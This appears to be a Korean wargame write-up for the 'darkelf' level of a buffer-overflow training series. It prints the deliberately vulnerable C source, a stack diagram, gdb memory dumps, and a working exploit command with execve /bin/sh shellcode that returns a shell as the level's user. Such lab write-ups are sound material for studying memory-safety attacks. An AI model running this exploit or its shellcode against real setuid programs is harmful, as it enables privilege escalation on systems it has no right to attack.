[redhat-lob] (6) darkelf

Source Code

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // egghunter
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    // check the length of argument
    if(strlen(argv[1]) > 48){
        printf("argument is too long!\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);

    // buffer hunter
    memset(buffer, 0, 40);
}

Vulnerabliity Vector

main 함수의 ret를 덮어씌워 오버플로우를 발생시킨다.

==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================

Buffer Overflow

Overflow condition

• environ을 초기화하여 환경 변수 사용를 통한 쉘코드 삽입이 불가능하다.
• argv[1]의 47번째 문자열이 "\xbf"이어야 함
• argv[1]의 길이가 47이하 이어야 함

※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./darkelf `python -c 'print "a"*47'`

stack is still your friend.

$ ./darkelf `python -c 'print "a"*47+"\xbf"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒
Segmentation fault

exploit

argv[1]이 저장되는 주소 확인

앞의 조건에 argv[1][47]값이 "\xbf"인지 확인하기 때문에, gdb를 이용하여 argv[1]이 저장되는 주소(buffer)를 찾는다.

(gdb) b *main
Breakpoint 1 at 0x8048500

(gdb) r `python -c 'print "a"*47+"\xbf"'`
Starting program: /home/wolfman/darkelf2 `python -c 'print "a"*47+"\xbf"'`
/bin/bash: /home/goblin/.bashrc: Permission denied

Breakpoint 1, 0x8048500 in main ()

(gdb) stepi
0x8048501 in main ()

(gdb) i reg $esp
esp            0xbffffad8       -1073743144

(gdb) i reg $ebp
ebp            0xbffffaf8       -1073743112

(gdb) x/100x $esp

==========================================================================
0xbffffad8:     0xbffffaf8      0x400309cb      0x00000002      0xbffffb24
0xbffffae8:     0xbffffb30      0x40013868      0x00000002      0x08048450
0xbffffaf8:     0x00000000      0x08048471      0x08048500      0x00000002
0xbffffb08:     0xbffffb24      0x08048390      0x0804864c      0x4000ae60
0xbffffb18:     0xbffffb1c      0x40013e90      0x00000002      0xbffffc1a
0xbffffb28:     0xbffffc31      0x00000000      0xbffffc62      0xbffffc84
0xbffffb38:     0xbffffc8e      0xbffffc9c      0xbffffcbb      0xbffffccb
0xbffffb48:     0xbffffce4      0xbffffd00      0xbffffd1f      0xbffffd2a
0xbffffb58:     0xbffffd38      0xbffffd7a      0xbffffd8d      0xbffffda2
0xbffffb68:     0xbffffdb2      0xbffffdbf      0xbffffddd      0xbffffde8
0xbffffb78:     0xbffffdf9      0xbffffe0b      0xbffffe1a      0xbffffe22
0xbffffb88:     0x00000000      0x00000003      0x08048034      0x00000004
0xbffffb98:     0x00000020      0x00000005      0x00000006      0x00000006
0xbffffba8:     0x00001000      0x00000007      0x40000000      0x00000008
0xbffffbb8:     0x00000000      0x00000009      0x08048450      0x0000000b
0xbffffbc8:     0x000001f9      0x0000000c      0x000001f9      0x0000000d
0xbffffbd8:     0x000001f9      0x0000000e      0x000001f9      0x00000010
0xbffffbe8:     0x0fabfbff      0x0000000f      0xbffffc15      0x00000000
0xbffffbf8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc08:     0x00000000      0x00000000      0x00000000      0x38366900
0xbffffc18:     0x682f0036      0x2f656d6f      0x666c6f77      0x2f6e616d
0xbffffc28:     0x6b726164      0x32666c65      0x61616100      0x61616161
                                                      ^               ^
0xbffffc38:     0x61616161      0x61616161      0x61616161      0x61616161
                      ^               ^               ^ argv[1] = 0xbffffc41
0xbffffc48:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffffc58:     0x61616161      0x61616161      0x454c00bf      0x504f5353
==========================================================================

argv[1] pointers 쉘코드 실행

==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers ->> shellcode
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================

오버플로우시 RET를 argv[1] 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다. argv[1]의 최초 주소값을 확인하여 4바이트씩 증가하면서 주소를 변경하면서 공격을 진행하면 성공시킬 수 있다.

$ ./darkelf `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x41\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀A▒▒▒

bash$ whoami
darkelf
bash$ my-pass
euid = 506
kernel crashed